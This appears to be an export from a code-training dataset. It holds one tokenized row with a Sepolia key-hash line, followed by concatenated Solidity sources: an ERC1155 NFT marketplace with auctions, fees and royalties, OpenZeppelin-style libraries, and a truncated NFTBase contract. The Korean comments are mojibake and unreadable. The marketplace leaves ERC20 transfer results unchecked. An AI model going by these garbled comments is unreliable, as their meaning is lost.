file_name
stringlengths 71
779k
| comments
stringlengths 20
182k
| code_string
stringlengths 20
36.9M
| __index_level_0__
int64 0
17.2M
| input_ids
list | attention_mask
list | labels
list |
|---|---|---|---|---|---|---|
./full_match/11155111/0x103574eFF1e05F5F9Ecd2955B2D4543211E49608/sources/contracts/Contract.sol
|
Sepolia gwei key hash
|
bytes32 keyHash = 0x474e34a077df58807dbe9c96d3c009b23b3c6d0cce433e59bbf5b34f823bc56c;
| 3,791,373 |
[
1,
5097,
355,
1155,
314,
1814,
77,
498,
1651,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
1731,
1578,
498,
2310,
273,
374,
92,
24,
5608,
73,
5026,
69,
20,
4700,
2180,
8204,
3672,
27,
1966,
73,
29,
71,
10525,
72,
23,
71,
713,
29,
70,
4366,
70,
23,
71,
26,
72,
20,
71,
311,
24,
3707,
73,
6162,
9897,
74,
25,
70,
5026,
74,
28,
4366,
13459,
4313,
71,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "./math/SafeMath.sol";
import "./token/IERC20.sol";
import "./access/Ownable.sol";
import "./token/IERC1155.sol";
import "./NFTBase.sol";
import "./ERC20TokenList.sol";
/**
*
* @dev Implementation of Market [์ง์ ๊ฐํ๋งค(fixed_price), ๊ฒฝ๋งค(auction)]
*
*/
// interface for ERC1155
interface NFTBaseLike {
function getCreator(uint256 id) external view returns (address);
function getRoyaltyRatio(uint256 id) external view returns (uint256);
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
}
// interface for payment ERC20 Token List
interface ERC20TokenListLike {
function contains(address addr) external view returns (bool);
}
contract NFTMarket is Ownable
{
using SafeMath for uint256;
struct SaleData {
address seller;
bool isAuction; // auction true, fixed_price false
uint256 nftId; // ERC1155 Token Id
uint256 volume; // number of nft, volume >= 2 -> isAuction=false, remnant value : number decrease after buying
address erc20; // payment erc20 token
uint256 price; // auction : starting price, fixed_price : sellig unit price
uint256 bid; // bidding price
address buyer; // fixed_price : ๊ตฌ๋งค์ auction : bidder, ์ต์ข
๊ตฌ๋งค์
uint256 start; // auction start time [unix epoch time] unit : sec
uint256 end; // auction expiry time [unix epoch time] unit : sec
bool isCanceled; // no buyer or no bidder ๋ง ๊ฐ๋ฅ
bool isSettled; // ์ ์ฐ๋์๋์ง ์ฌ๋ถ
}
mapping (uint256 => SaleData) private _sales; //mapping from uint256 to sales data
uint256 private _currentSalesId = 0; //ํ์ฌ salesId
uint256 private _feeRatio = 10; // ์์๋ฃ์จ 100% = 100
address private _feeTo; // ๊ฑฐ๋์์๋ฃ ์์ทจ์ฃผ์
uint256 private _interval = 15 minutes; // additionl bidding time [seconds]
//uint256 private _duration = 1 days; // 1 days total auction length [seconds]
NFTBaseLike _nftBase; // ERC1155
ERC20TokenListLike _erc20s; // payment ERC20 Token List
//event
event Open(uint256 id,address indexed seller,bool isAuction,uint256 nftId,uint256 volume,address indexed erc20,uint256 price,uint256 start, uint256 end);
event Buy(uint256 id,address indexed buyer,uint256 amt);
event Clear(uint256 id);
event Cancel(uint256 id);
event Bid(uint256 id,address indexed guy, uint256 amount,uint256 end);
//event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
//event Transfer(address indexed from, address indexed to, uint256 value);
/* Keccak256
Open(uint256,address,bool,uint256,uint256,address,uint256) : 0x0e884c2228e2e8cc975ba6a7d1c29574c38bda6a723957411fd523ad0c03d04e
Buy(uint256,address,uint256) : 0x3b599f6217e39be59216b60e543ce0d4c7d534fe64dd9d962334924e7819894e
Clear(uint256) : 0x6e4c858d91fb3af82ec04ba219c6b12542326a62accb6ffac4cf87ba00ba95a3
Cancel(uint256) : 0x8bf30e7ff26833413be5f69e1d373744864d600b664204b4a2f9844a8eedb9ed
Bid(uint256,address,uint256,uint256) : 0x3138d8d517460c959fb333d4e8d87ea984f1cf15d6742c02e2955dd27a622b70
TransferSingle(address,address,address,uint256,uint256) : 0xc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62
Transfer(address,address,uint256) : 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef
*/
/**
* @dev feeTo address, ERC1155 Contract, ERC20 Payment Token List ์ค์
*/
constructor(NFTBaseLike nftBase_,ERC20TokenListLike erc20s_) {
_feeTo = address(this);
_nftBase = NFTBaseLike(nftBase_);
_erc20s = ERC20TokenListLike(erc20s_);
}
/**
* @dev feeRatio ์ค์
*
* Requirements:
*
* - 100% ์ดํ
*/
function setFeeRatio(uint256 feeRatio_) external onlyOwner {
require(feeRatio_ <= 100,"NFTMarket/FeeRation_>_100");
_feeRatio = feeRatio_;
}
function getFeeRatio() external view returns(uint256) {
return _feeRatio;
}
/**
* @dev feeTo Address ์ค์
*
* Requirements:
*
* - not zero address
*/
function setFeeTo(address feeTo_) external onlyOwner {
require(feeTo_ != address(0),"NFTMarket/FeeTo_address_is_0");
_feeTo = feeTo_;
}
function getFeeTo() external view returns(address) {
return _feeTo;
}
/**
* @dev auction ์ฐ์ฅ ์๊ฐ ์ค์ [minites]
*
* Requirements:
*
*/
function setInterval(uint256 interval_) external onlyOwner {
_interval = interval_;
}
function getInterval() external view returns(uint256) {
return _interval;
}
/**
* @dev auction ์๊ฐ ์ค์ [minites]
*
* Requirements:
*
* - not zero
*/
/*
function setDuration(uint256 duration_) external onlyOwner {
require(duration_ > 0,"NFTMarket/duration_is_0");
_duration = duration_;
}
function getDuration() external view returns(uint256) {
return _duration;
}
*/
/**
* @dev open : ํ๋งค์์, NFT escrow , SaleData ๋ฑ๋ก
* args
* isAuction : true - auction, false - fixed_price
* nftId : ERC1155 mint token Id
* volume : ์๋
* erc20 : payment ERC20 Token
* price : auction : starting price, fixed_price : sellig unit price
*
*
* Requirements:
*
* ์๋(volume) > 1 ์ธ ๊ฒฝ์ฐ fixed_price ๋ง ๊ฐ๋ฅ
* ์๋ > 0, ๊ฐ๊ฒฉ > 0
* ๊ฒฐ์ ERC20 contract : ERC20TokenList ์ค์ ํ๋
*
* Event : Open, TransferSingle(NFTBase)
*
* Return salesId
*/
function open(bool isAuction,uint256 nftId,uint256 volume,address erc20, uint256 price,uint256 start, uint256 end) public returns (uint256 id) {
if(volume > 1 && isAuction) {
revert("NFTMarket/if_volume_>_1,isAuction_should_be_false");
}
require(volume > 0,"NFTMarket/open_0_volume");
require(price > 0, "NFTMarket/open_0_price");
require(_erc20s.contains(erc20),"NFTMarket/open_erc20_not_registered");
if(isAuction) {
require(end > start,"NFTMarket/open_should_end_>_start");
}
_nftBase.safeTransferFrom(_msgSender(),address(this),nftId,volume,"");
id = ++_currentSalesId;
_sales[id].seller = _msgSender();
_sales[id].isAuction = isAuction;
_sales[id].nftId = nftId;
_sales[id].volume = volume;
_sales[id].erc20 = erc20;
_sales[id].price = price;
_sales[id].isCanceled = false;
_sales[id].isSettled = false;
if(isAuction) {
_sales[id].bid = price;
_sales[id].start = start;
_sales[id].end = end;
}
emit Open(id,_msgSender(),isAuction,nftId,volume,erc20,price,start,end);
}
/**
* @dev buy : ๋ฐ๋ก๊ตฌ๋งค, ์ ์ฐ
* args
* id : saleId
* amt : ๊ตฌ๋งค์๋
* Requirements:
*
* auction์ด ์๋๊ณ (fixed_price ์ด์ด์ผ)
* buyer๊ฐ ํ์ ๋์ง ์์์ผ ํ๊ณ (settle ๋์ด์ง ์์์ผ)
* ์ทจ์์ํ๊ฐ ์๋์ด์ผ ํจ
*
* Event : Buy,TransferSingle(NFTBase),Transfer(ERC20)
*
*/
function buy(uint256 id,uint256 amt) public {
require(id <= _currentSalesId,"NFTMarket/sale_is_not_open");
require(!_sales[id].isAuction, "NFTMarket/sale_is_auction");
require(!_sales[id].isCanceled,"NFTMarket/sale_already_cancelled");
require(!_sales[id].isSettled,"NFTMarket/sale_already_settled");
require(amt > 0,"NFTMarket/buy_must_>_0");
require(amt <= _sales[id].volume,"NFTMarket/buy_should_<=_sale_volume");
_sales[id].buyer = _msgSender();
settle(id,amt);
emit Buy(id,_msgSender(),amt);
}
/**
* @dev bid : ๊ฒฝ๋งค ์ฐธ์ฌ, ERC20 Token escrow, ๊ฒฝ๋งค์๊ฐ ์ฐ์ฅ
* args :
* id : salesId
* amount : bidding ๊ธ์ก
* bidder = msg.sender
*
* Requirements:
*
* auction์ด๊ณ
* ์ทจ์์ํ๊ฐ ์๋๊ณ
* ๊ฒฝ๋งค ์ข
๋ฃ์๊ฐ์ด ์ง๋์ง ์์์ผ ํจ
* bidding ๊ธ์ก์ด ๊ธฐ์กด ๊ธ์ก(์ฒซ bidding์ธ๊ฒฝ์ฐ seller๊ฐ ์ ์ํ ๊ธ์ก)๋ณด๋ค ์ปค์ผํจ
*
* Event : Bid,Transfer(ERC20)
*/
function bid(uint256 id,uint256 amount) public {
require(id <= _currentSalesId,"NFTMarket/sale_is_not_open");
require(_sales[id].isAuction, "NFTMarket/sale_should_be_auction");
require(!_sales[id].isCanceled,"NFTMarket/sale_already_cancelled");
require(!_sales[id].isSettled,"NFTMarket/sale_already_settled");
require(block.timestamp >= _sales[id].start, "NFTMarket/auction_doesn't_start");
require(_sales[id].end >= block.timestamp, "NFTMarket/auction_finished");
require(amount > _sales[id].bid, "NFTMarket/bid_should_be_higher");
IERC20 erc20Token = IERC20(_sales[id].erc20);
erc20Token.transferFrom(_msgSender(),address(this),amount);
// not first bidding
if(_sales[id].buyer != address(0)) {
erc20Token.transfer(_sales[id].buyer,_sales[id].bid);
}
_sales[id].buyer = _msgSender();
_sales[id].bid = amount;
// auction end time increase
if(block.timestamp < _sales[id].end && _sales[id].end < block.timestamp + _interval)
_sales[id].end = _sales[id].end.add(_interval);
emit Bid(id,_msgSender(),amount,_sales[id].end);
}
/**
* @dev clear : ๊ฒฝ๋งค ์ ๋ฆฌ, ์ ์ฐ
* args :
* id : salesId
* amount : bidding ๊ธ์ก
* bidder = msg.sender
*
* Requirements:
*
* id๊ฐ ์กด์ฌํด์ผ ํ๊ณ
* auction์ด๊ณ
* ์ทจ์์ํ๊ฐ ์๋๊ณ
* ์์ง ์ ์ฐ๋์ง ์์์ผ ํ๊ณ
* ๊ฒฝ๋งค ์ข
๋ฃ์๊ฐ์ด ์ง๋์ผ ํ๊ณ
* caller๋ sales[id].seller ์ด์ด์ผ ํจ
*
* Event : Clear,TransferSingle(NFTBase),Transfer(ERC20)
*/
function clear(uint256 id) public {
require(id <= _currentSalesId,"NFTMarket/sale_is_not_open");
require(_sales[id].isAuction, "NFTMarket/sale_should_be_auction");
require(!_sales[id].isCanceled,"NFTMarket/sale_already_cancelled");
require(_sales[id].buyer != address(0), "NFTMarket/auction_not_bidded");
require(!_sales[id].isSettled,"NFTMarket/auction_already_settled");
require(_sales[id].end < block.timestamp, "NFTMarket/auction_ongoing");
require(_msgSender() == _sales[id].seller, "NFTMarket/only_seller_can_clear");
settle(id,1);
emit Clear(id);
}
/**
* @dev cancel : ์ธ์ผ ์ทจ์, escrow ๋ฐํ
* args :
* id : salesId
* amount : bidding ๊ธ์ก
* bidder = msg.sender
*
* Requirements:
* id๊ฐ ์กด์ฌํด์ผ ํ๊ณ
* ์ทจ์์ํ๊ฐ ์๋๊ณ
* ์ด๋ฏธ ์ ์ฐ๋์ง ์์์ผ ํ๊ณ
* ๊ฒฝ๋งค์ ๊ฒฝ์ฐ Bidder๊ฐ ์์ด์ผ
* caller๋ sales[id].seller ์ด์ด์ผ ํจ
*
* Event : Cancel,TransferSingle(NFTBase)
*/
function cancel(uint256 id) public {
require(id <= _currentSalesId,"NFTMarket/sale_is_not_open");
require(!_sales[id].isCanceled,"NFTMarket/sale_already_cancelled");
require(!_sales[id].isSettled,"NFTMarket/sale_already_settled");
if (_sales[id].isAuction)
require(_sales[id].buyer == address(0), "NFTMarket/auction_not_cancellable");
require(_msgSender() == _sales[id].seller, "NFTMarket/only_seller_can_cancel");
_sales[id].isCanceled = true;
_nftBase.safeTransferFrom(address(this),_sales[id].seller,_sales[id].nftId,_sales[id].volume,"");
emit Cancel(id);
}
/**
* @dev settle : ์ ์ฐ
* 1. ์์๋ฃ ์ ์ฐ : this -> feeTo
* 2. royalty ์ ์ฐ : this -> creator
* 3. nft ์ค๋์ฝ ์ ๋ฆฌ : this -> buyer
*
* args :
* id : salesId
* amt : number of nft in fixed-price buy or auction
*
* Requirements:
*
* - feeRatio + royaltyRatio < 100
*
* Event : TransferSingle(NFTBase), Transfer(ERC20)
*/
function settle(uint256 id,uint256 amt) private {
SaleData memory sd = _sales[id];
uint256 amount = sd.isAuction ? sd.bid : sd.price*amt;
uint256 fee = amount.mul(_feeRatio).div(100);
address creator = _nftBase.getCreator(sd.nftId);
uint256 royaltyRatio = _nftBase.getRoyaltyRatio(sd.nftId);
require(_feeRatio.add(royaltyRatio) <= 100, "NFTMarket/fee_+_royalty_>_100%");
uint256 royalty = amount.mul(royaltyRatio).div(100);
IERC20 erc20Token = IERC20(sd.erc20);
if(sd.isAuction) {
erc20Token.transfer(_feeTo,fee);
erc20Token.transfer(creator,royalty);
erc20Token.transfer(sd.seller,amount.sub(fee).sub(royalty));
} else {
erc20Token.transferFrom(_msgSender(),_feeTo,fee);
erc20Token.transferFrom(_msgSender(),creator,royalty);
erc20Token.transferFrom(_msgSender(),sd.seller,amount.sub(fee).sub(royalty));
}
_nftBase.safeTransferFrom(address(this),sd.buyer,sd.nftId,amt,"");
_sales[id].volume -= amt;
_sales[id].isSettled = (_sales[id].volume == 0);
}
function getAuctionEnd(uint256 id) external view returns (uint256)
{
require(_sales[id].isAuction,"NFTMarket/sale_should_be_auction");
return _sales[id].end;
}
/**
* @dev getSaleData : SaleData Return
*/
function getSaleData(uint256 id) external view
returns (
address
,bool
,uint256
,uint256
,address
,uint256
,uint256
,address
,uint256
,uint256
,bool
,bool
) {
SaleData memory sd = _sales[id];
return (
sd.seller
,sd.isAuction
,sd.nftId
,sd.volume
,sd.erc20
,sd.price
,sd.bid
,sd.buyer
,sd.start
,sd.end
,sd.isCanceled
,sd.isSettled
);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../introspection/IERC165.sol";
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "./token/ERC1155.sol";
import "./access/AccessControl.sol";
import "./access/Ownable.sol";
import "./utils/Context.sol";
/**
*
* @dev Implementation of ERC1155 + NFT Token Data
*
* AccessControl
* DEFAULT_ADMIN_ROLE = 0
* ์๋ก์ด role ์์ฑ ๋ ๋๋ง๋ค adminRole = 0 ์ด๋๋ค.
* ๋ฐ๋ผ์ ์์ฐ์ค๋ฝ๊ฒ adminRole = DEFAULT_ADMIN_ROLE ์ด ๋๋ค.
*/
contract NFTBase is ERC1155, Ownable, AccessControl
{
string public name;
string public symbol;
bytes32 private constant MINTER_ROLE = keccak256("MINTER_ROLE"); //Role Id
struct TokenData {
uint256 supply; // NFT ๊ณต๊ธ๋
string uri; // NFT url : json ํ์ผ
address creator; // ์ ์๊ถ์
uint256 royaltyRatio; // ๋ก์ดํฐ 100% = 100
}
mapping(uint256 => TokenData) private _tokens; // mapping from uint256 to nft token data
uint256 private _currentTokenId = 0; // ํ์ฌ tokenId
bool private _isPrivate = true; // private Mint ์ค์ - ์ค์ง MINTER_ROLE ๋ณด์ ์๋ง ๊ฐ๋ฅ
uint256 private _royaltyMinimum = 0; // ๋ก์ดํฐ ์ต์๊ฐ
